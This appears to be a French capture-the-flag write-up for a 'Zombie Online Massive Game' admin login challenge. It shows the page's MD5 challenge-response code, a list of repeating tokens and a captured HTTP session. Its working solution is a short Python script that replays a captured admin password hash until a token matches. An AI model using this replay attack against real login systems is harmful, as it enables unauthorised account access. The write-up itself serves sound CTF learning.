Zombie Online Massive Game :: Admin
/* ZOMG JS resources */
//var CryptoJS= racourcis - permet de calculer des hashs
/* zomg authenticate hook */
function zomgDoAuth() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
var token = zomgToken;
var zomgForm = document.forms[0];
if (username.length>0 && password.length>0)
{
/* compute challenge answer */
var answer = CryptoJS.MD5(token+':'+username+':'+password);
document.getElementById('password').value = answer;
zomgForm.submit();
}
}
===== Analyse de la page =====
Bref, rien de bien compliqué à comprendre sur la page. Juste avant d'envoyer le formulaire, le hash md5 du mot de passe salté avec un cookie et le pseudo est calculé, puis le formulaire est envoyé.
Le token semble aléatoire, mais il n'en est rien. En envoyant quelques requêtes, on se rend compte qu'il y a en fait environ 200 tokens différents. C'est pas énorme.
Liste des tokens
:r]x]b5bv.,5ao6weahqnaiq-e2a1nqv[3]mlsge
29.,,ndwn4ny8]qeq9m[heu=$[di$dlwozwebn.n
:8,54d9=[6fehbf[m9k48p$psc8:ckh$g9!!2-q1
14ca8qf0:l=k9mg3kb31d8[quulv[vum9n78hs]p
_g=4fvsi5_q6$$:pj6[,84wmzab-4[c4l7,=75.f
8!6:dl=2wfavl$d4j2hu1]9k=6,z3e,1q$2!!mj$
xhcg8p$k![kuy$_y,85gi0.toferm,8l7r[9[36_
jx,=y7c=oz553jiqs=$bc$zonxuqx-omanembq,6
jjyyb.eo-dd47,9uv7fl-03p-$=y688:heb=!lw0
l7d24cpywb81:vqht7q7zu[.emgc=]ojx3f6-ste
s=h!_z!by7pwq5df-r-te:y99ljh].b=2.17]gl,
7n_pialz1h.v]1laosfeeyts.tp1j83d_i3il1z0
:_zul:$u-=]n!!sp[!9klvl]js:rsjipjm!a0!z9
]u2t.q]g:dj0g8rs3[nw3mr-wrx]5--mpqvbvpqa
c_ldo8_.q6pp4][ttu=rf]g7-gy[3q3q49w-qc[$
,ng61jccvx-tr97:63m$vg32lm,psjfp.mtvgb$3
lzum_26073c::tr:$j[]8]2u2_ko!gxibkkar5s$
h$3va=n71i5oiwlhus=j97xggeh=3$n!e:4_e-42
8v:or.ju9ie:g:4scd7v=g3m=b-pig9j$7yu!mfy
kgsqk-1ue5$z5.m.3z54m2uckemzp872me,zsvxn
t9vozvrim0hnx9g0ecc0vy-8bzh_5kjpy6q,neot
uv,$k$roj-ov7x,kx3a4[.rolqd[0b]0skaxp8_m
!z,ns8z8v5.]2]vi9fg9[50213q:it.7y_2ms13:
1y1dk:t.65pb48gju,mej!rd1].h:$dz44vtyest
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tc:rq$9pv-3z:=lp]:q8agmor37m8br2mt8vbrgk
f!g0g[kp,n.4wy!ul49k.]sf2hqd!ed!xjtw1tla
3c!q.h-]e2j5t1xsefj$0sroo2y-1cd5e=2i-1rx
s9,,8x!sv[[]3vrbi6m9b.6k97[$$sfc$6hvqjf3
j8heb9jxjs2ecfbxe5jtjhudff-$p4xy_:f-8ncu
wknxl1uff8-nyo3:nzybozq9m,6f7o=qws4mte7t
x-kp3lct44qt.6fpozfjvx9er:$vz0golj!]ot2w
5bk$n$18.r.tuye6f3ey:c3.$ynvv9yfzmjl,-d-
a]a3r,=-ggo3ml73d:v9i4s6r.b5j2e.v4ef-!a4
[i_,evq5],!1aubm9od6[m49:6a[=pz_gr=-wf5g
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zuy0a:_ytout8x8lyq28ob4n[o2fz:v1$egvzcvn
o3x]gwtrh,9nx2fu$[ac]nvbvghnw7fpvp[4.=dn
0,nyp.v]c$_881-2a4if0se4ogbco913b8p=z,07
rtukmo2x$zrj!=og4.e9xjjwo-xcygi99-cm9y4_
ro-k=]u2!:b5q-wg_xf]px3w00p_70]pd,pabwoh
z,8-g9s5b4[vhs6572k33!r.9931x7i$!qizo!2h
[t1:1f,5_:jvhz,ygxv]6m7mipd,j.,rna6537oo
agr=twmm955=9zp4d:v8wwca0prkf67d.k_.2],$
kctd28l1wcuqc59=[g7-y,z11wo8-3ub.3_y12wo
3o40[$_]wys[xj43e!2a=6]nygl3u!sg]1twsa!i
9[zz0uu[stu=ch3o4q1eolmvu9][gk[3[0_.7v4d
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9j9sigb231!8:r9]w_6d-hban7dvpu.oda5z_fqo
r4ru=-,p!xn1rj[kscx1.],qyqx_9ov0fti4su:9
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!m4]bakt]n4c7az,]fzv,,ce8np64mu.jazrqscf
dk7nv:ttf81-z[3r!$oufp]:k3,60j[4=rj6br4o
yy!2=m[w.ml7b!0[q[.aubjvt0.m1d][=_5vpuew
_ycbiop6effran!$_=8[ph7w4ruoy]49zr2=o$:,
8!54zkvgh8i1:u]hz7koj]sts6eu_lensqyzv3a7
p:ixqjtafh:am7g33pr[1puyofu6q6fz=h$kcay3
y-k7j455a3yzku_xacq.$jr[v6cisr-6l34=.id8
.ze2.l=1,i1r,4q4za07hx,aninac7xln0ts8:2n
!nh!08fsp33!has9ij9.a_ontgvul.l1nl=wdu79
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,ck4ipr0uvf4b49_0[6=$$xxz-s9f8:nzw-yu-eo
s!st![i73rfyx4:1x7j,wu4]hq0p.gbf-h82[6.!
[_hi-uesuhk3oqo:x:af$2dpm4l31ur]_9wk5$kd
.l[nx![]2o6e=$wdflwm3puad5=:ccuf=fr6u=_r
ylyok72:gi4i6[:mne]e5gv.x3lv$x72n-zd!$:$
7:l-i9:w:m5-.s,pbe3lnwm[5aey=,p$p-vkg_4:
pvfd42cx0].5y7l4]owk8vlyc!5s18j,:w10j2i[
l.y$hlvbst0,tjzi47dje-izssger!zxs-8s5a.5
742j7thyb,$![[m]hfo,egfscsyh9vetnh-7u5ig
ac.bp,=8f.318q,qbrqirbct$95mcm51!a!cth,_
1y1]r[l7_iv]t.r0[q2lzwx-mjwehwwch_p[o.!q
terd2yon]klccg6.u:!uf$igk=plqq$k5gk0i$df
!37d,$6hjws7yc!=]oqka__a!1p[t-s!.5u.xhm6
vd$5q=ut=013l=og16x7or1u8.d13nm65l.lg]t-
2m[=:ve=,yi:0[l2t4,fm!_ffajfxkj=$ypp$ut5
jjdi4540u:2y=]$k40sndu]$engeej6-m4_ixjkx
:i6]4qf0gx5ev]rpw-yf6:uq2=g:6f.68rwp9g5w
y$k=5848p3qkx_e$uv$bf:-r]4,n-5nod9cva5f7
0q9y02yrs5493$rjzkxcw8k-4sgc62ww]:qnct93
0r5l=b[j.5f2f]se8,fe_3dsxo!10a2y9[bt6-8w
yq982,ou7e31fp=sacq[d_ju-iw[to8avuudvtdn
!q6ji$:.=4we:=i6i-:oi0dl,ddiur6sh!i-gv$:
hl8,5=[reb8-nhwzhwn3$!t4gb6i9u8q!]bi:3[_
pj8,_0ly!.br9]1c4y_4of[e4c7ziau1h4!m1upg
4.p3bkt[13wd3z2-69njv$cg8.=bf=q8t3[0z4rq
ezmrfmp,39rja3r[un-!q0j[g3ngx3gpaqgob6o[
.y=7=gg02nk030nl1d[,a0z=$llc7jr[znfbefg5
hy:dajlwuv6c45e]du_[ee]4i9[n5qqpc2p-t[ye
u1:ej.l5ga62:==_d,2zwhm$h9i7!qestg2qzifi
jvii$cfuuft=6l5554s0hno,ma24t7jdr..4yme,
t4coxr9i0n4!b0-[q:=dv8rjma1q3w921v=ed:m!
3t5ad50uod.7tz4[ly]ffrov162rn4wr:z==aws]
nng46e5q$gxoth_1h.p.3sl778p=r0y_m[1h!1_u
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[ohien3!jekv-xsgi0jja],34,c8gdi0h5amofcp
9_g$zt_8g=y_jwx.fuo7[jgcn750[t9s8a7!!fpe
0-qhkj$,uooxpdz7t1ut1g,[tjkozuc=774ss.[-
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wzluz=p5z]endxsgf4.s]3,5i:dlx$]!22fdhs.y
2-08z]2au!,tkqfobdlmq9i=8gtds13zjo9[u$xp
3nr[um$d!ylc0dfs.g3vt5o4sh5hbyu![bzl:3hp
ot5al4q=yfg7-gra,9bgzn-596pm7p=up!:7twaw
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q8oo0uxsqqfyzlv51xt05ot:b,ngf.cu_m9:jajk
leccoo[,fv3ge4djd$$uor15p4mu3860jg[z!t_j
30w52fzmc$2$mlg$z.8160=jevin$sm_ckth$8qi
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_,.0_[x57=a9lgcedq5bei!7dm:gt4e:8]=kbyfw
$twl9c707v4xfo]=o0-ocg0r6bvs4gsc0hnr[-bp
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n.36!ntk0n0-gi-tlyum7irlq4-j_pp,$fa8m[r3
1a,gbc1:pdv:drol=5klk:-1.iwt-.9vwi_icot[
wgnb,,4g9h0xa08y.pu!vrn7y,ec6inrol39yn[f
mpyyebj3d,zfalpwul,a7odz$kh5j,w.6ug3z.9e
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_q$wiptmc!0gq$rojmxl]i,3jinbui0yg7x1e=_e
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4e-z86ew477[64oefzn:r:6e8xxq.inwqi8kerg0
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cay9i:pxmx6,a[is0xer,[[z6.$u065,b:mpyp=,
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x--0-dg_w2h,:a!dtqur0:keki__uqsmmsj_2beq
7[p31a:xz]i7,cs]bkysq738_i8d$v5w=3p[wd9d
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qz2![!wcg__69,y8zf6n:cruzl,c1]bvr:v2kfte
4a2y4u_1!z:l3:uyhe6oasux4]bgev9q[.p:qt3z
f,0oe::v5029o:xupo2rn390aq=e0!t,6romx94c
9.soa]b2u:f5swhx069=pmd=y:pzr53b5p[w-1,a
=-91$fc:$0r35,hm7p=8wyum:tv8cke36ok4wrvh
c,y[,[$z.b:9191r.nu8lk1j6omp!x0rkk3r9mi.
kq_-iryv6$j85=rs30bju17g..!6]rynf_m:ihw8
iyc:xkv]wyzm46.m4l,x=7our]w-f2$n29oagp2]
.9=,hso-wz]i7t9:xx7_,,$n_fga9=3=$,9=tfj1
]hppbkplt9]dtb=:oqcjl:3qr5[bsw958i4rq=a1
-9e,$p1vt:p4!a]3!05,cy=i_g$fethl9=y7u0,-
zqf2$skn6og382q_cz5[pru]uucal,zy7vq3dlv]
z]cp4q$5cll[ysy.tc!2t46a6d$is9$3nf1z-288
.iw-lw2:52p6i6-=x=hy-c_nti99n0lj[ci5-nhz
ryg8k5vgb5ntjy8szc!hf,!uwv,3xszw$51=4,m7
_vt5bj.pu[i]yyx4l[xp7gey1$8et7e2mm9q2v[.
ru=wt_7_[fns900pu3wncf1$hg7!_.3gan1isn9d
g7:g_]5eeo,ye,v15b-9e4ky_fd!:p:8q-m$cwc$
],-oiuflss7boq2xcxq4v76[:0=binhq_moi3c-.
.y!y[y[0_v58r9]waogg5!ar25o[]xdc-hao]a9,
.c$u]2uy24fc-flutzuyxo_zgx80dauls,ks4r[4
,c77gh684$_k]c54c=kn3rkzqo14j[!typztrnza
k!ihoinfa8zvhh_sah][cagr!:]qiqs_u0d7p4:h
ds=f,,bmsyut7j]5q$avh,o777zno,,6]b7k,4c.
09=]e8[b2.yepq5ukgp8wo197rkrh22l4,idqrc]
.jhjk!.z4qoj8m6oeobun:,a7ygw-se$c9uy3cqt
===== Analyse de la capture TCP =====
La capture TCP referme une session TCP sur le site en question. On y trouve deux requêtes HTTP différentes, ainsi qu'une réponse.
POST / HTTP/1.1
Host: public.nuitduhack.com:8009
Origin: http://public.nuitduhack.com:8009
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.22+ (KHTML, like Gecko) Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.22+ Epiphany/3.4.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://public.nuitduhack.com:8009/
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cookie: SESS0a1ee27932bc06da50674c8c14a5e20b=8qf3fbobdbfrs2g1vs6s1gokc5; SESS2c1a862b4fab9ef42a74fc1be0892571=r4slnc7qd9ihg8tnau1telej60; __utma=114525464.2112388856.1338920171.1340047390.1340053513.8; __utmz=114525464.1340047390.7.2.utmcsr=t.co|utmccn=(referral)|utmcmd=referral|utmcct=/dhGNVGsO; PHPSESSID=2l0loe6li4feofjscuu32ohb54
Content-Length: 56
username=admin&password=1349e61e13325795c02ad26b0ab53dda
POST / HTTP/1.1
Host: public.nuitduhack.com:8009
Origin: http://public.nuitduhack.com:8009
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.22+ (KHTML, like Gecko) Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.22+ Epiphany/3.4.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://public.nuitduhack.com:8009/
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cookie: SESS0a1ee27932bc06da50674c8c14a5e20b=8qf3fbobdbfrs2g1vs6s1gokc5; SESS2c1a862b4fab9ef42a74fc1be0892571=r4slnc7qd9ihg8tnau1telej60; __utma=114525464.2112388856.1338920171.1340047390.1340053513.8; __utmz=114525464.1340047390.7.2.utmcsr=t.co|utmccn=(referral)|utmcmd=referral|utmcct=/dhGNVGsO; PHPSESSID=2l0loe6li4feofjscuu32ohb54
Content-Length: 56
username=admin&password=39d7720343ac3430570f202dde3ab803
===== Première piste (mauvaise piste) =====
Nous avons environ 200 tokens. On possède aussi deux hashs. L'un deux doit probablement correspondre au mot de passe à trouver. On se met donc à brute forcer. Après avoir attendu un bon moment, on commence à se poser des questions. C'est visiblement pas la solution.
===== Seconde piste (la bonne!) =====
Toujours avec nos 200 tokens... Finalement, si on envoie des requêtes avec notre mot de passe hashé et notre login qui vont bien (ceux récupérés dans la capture), on va finir par tomber sur le bon token! Hop hop hop, on code ça, et on laisse tourner environ 2 minutes... Et là, oh magie, on obtient le flag :)
#!/usr/bin/env python
# encoding: utf-8
import httplib
def main():
headers = {"Cookie":"PHPSESSID=9p22omkei1cb5517kk93s5ql53;",
"Content-Type":"application/x-www-form-urlencoded"}
while True:
conn = httplib.HTTPConnection("54.247.160.116:8009")
conn.request("POST","/","username=admin&password=39d7720343ac3430570f202dde3ab803",headers)
rep = conn.getresponse().read()
if rep.count("Flag") > 0:
print rep
break
if __name__ == '__main__':
main()
Zombie Online Massive Game :: Admin
Flag: 8f5741fe00598d1463773708f5743285